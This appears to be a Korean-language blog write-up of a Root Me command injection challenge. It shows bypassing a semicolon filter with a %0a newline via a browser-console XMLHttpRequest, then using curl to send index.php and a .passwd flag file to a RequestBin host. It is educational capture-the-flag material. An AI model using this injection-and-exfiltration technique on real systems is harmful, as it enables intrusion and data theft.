예전에 풀었던 Command injection 문제의 업그레이드 버전이다.
(https://hackingstudypad.tistory.com/74)
이전 문제 풀이를 읽어보면 이해하는데 조금 더 도움이 될것같다.
10점에서 30점으로 점수가 팍 오른 두번째 문제
그만큼 생각을 좀 해야한다.
문제의 목표는 웹페이지의 취약점을 찾아 exploit 하는것이다.
플래그는 index.php 파일안에서 찾을 수 있다고 한다.
문제페이지에 들어가면 입력창이 하나 있고, 제출 버튼이 나온다.
입력창에는 기본으로 127.0.0.1이 들어가 있다.
일단 먼저 제출버튼을 눌러본다.
제출을 누르면 Ping OK 라는 문구가 출력된다.
이전 문제는 ping 127.0.0.1 -c 3 명령어의 실행 결과가 그대로 출력됐는데,
이번에는 단순이 명령어 실행 성공 여부만 출력되고 있다.
첫번째 문제 풀었던것 처럼
세미콜론을 이용해서 두개의 명령을 실행시켜 본다.
127.0.0.1;ls 라고 입력했더니
이번엔 필터가 걸려있는지 Syntax Error 라고 출력이 된다.
Command injection 공격기법 중에 이렇게 필터링이 걸려있을 경우
%0a 를 사용해서 우회하는 기법이 있다.
자바스크립트를 사용해서 한번 우회를 시도해본다.
먼저 f12를 눌러 개발자도구의 네트워크 탭에서
index.php - 페이로드를 눌러 서버로 데이터가 어떻게 전달되는지 살펴본다.
ip 변수에 사용자가 입력한 값을 담아서 전달하고 있는걸 알 수 있다.
개발자도구의 콘솔 창에서 이렇게 입력해준다.
client=new XMLHttpRequest();
client.open('POST', 'http://challenge01.root-me.org/web-serveur/ch53/', true);
client.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
client.send('ip=127.0.0.1%0a');
new XMLHttpRequest() 로 객체를 생성한다.
XMLHttpRequest() 는 요청 패킷의 헤더를 수정할 수 있게 해주는 클래스라고 보면 된다.
그다음 open 을 이용해 메서드, URL, 동기화여부를 설정해 준다.
그리고나서 POST 방식을 쓸때 요청 헤더에 들어갈 내용을 입력해준다.
폼을 이용해 POST로 데이터를 전달할때
헤더에 Content-Type:application/x-www-html-form-urlencoded 를 넣어줘야 한다.
마지막으로 send 함수를 이용해 전달할 데이터 ip=127.0.0.1%0a 를 적어주면 된다.
자바스크립트 코드를 입력하고 네트워크 탭으로 가보면
요청 패킷이 서버로 전달된 뒤 서버로부터 온 응답 패킷을 확인할 수 있다.
명령어거 잘 수행되어서 Ping OK 라는 답변이 왔다.
%0a에 대해서 필터링이 되어있지 않은 것이다.
이제 공격할 명령어를 뒤에 이어서 써주면 된다.
공격을 하기전에 응답을 받을 서버를 하나 열어놔야 하는데
서버를 만들기 귀찮다면 RequestBin 이라는 사이트를 이용하면 된다.
간단하게 패킷을 받아줄 수 있는 임의의 서버를 바로 만들 수 있다.
toah8r6zmyvxrs8f.b.requestbin.net 라는 주소를 가지는 가상의 서버를 하나 만든 셈이다.
그러고 나서 다시 개발자도구의 콘솔 탭에서
자바스크립트 코드를 입력해준다.
나머진 다 똑같고 마지막 send 만 바꿔주면 된다.
복잡해보이는데
curl --data-urlencode "name@filename" 내 서버 주소
이런식으로 명령어를 입력하면 된다.
다시 RequestBin 으로 가보면
curl 명령어가 제대로 실행되어서
index.php 파일의 내용이 전달된 것을 볼 수 있다.
중간에 보면 flag는 file_get_contents 함수로 .passwd 파일에서 내용을 가져오는것을 확인할 수 있다.
다시한번 개발자도구로 가서 코드를 수정해준다.
진짜 플래그가 담겨있는 .passwd 파일을 지정해주면 된다.
다시 RequestBin 으로 돌아가면
숨겨져있던 플래그가 적혀있는것을 볼 수 있다.
'워게임 > Root Me' 카테고리의 다른 글
[Root Me] CISCO - password - 포렌식 / John the Ripper (49) | 2022.08.15 |
---|---|
[Root Me] Bluetooth - Unknown file - 포렌식 / Wireshark (63) | 2022.08.12 |
[Root Me] Twitter authentication - 포렌식 / Wireshark (38) | 2022.08.06 |
[Root Me] ETHERNET - frame - 포렌식 / HxD (59) | 2022.08.02 |
[Root Me] TELNET - authentication - 포렌식 / Wireshark (36) | 2022.07.30 |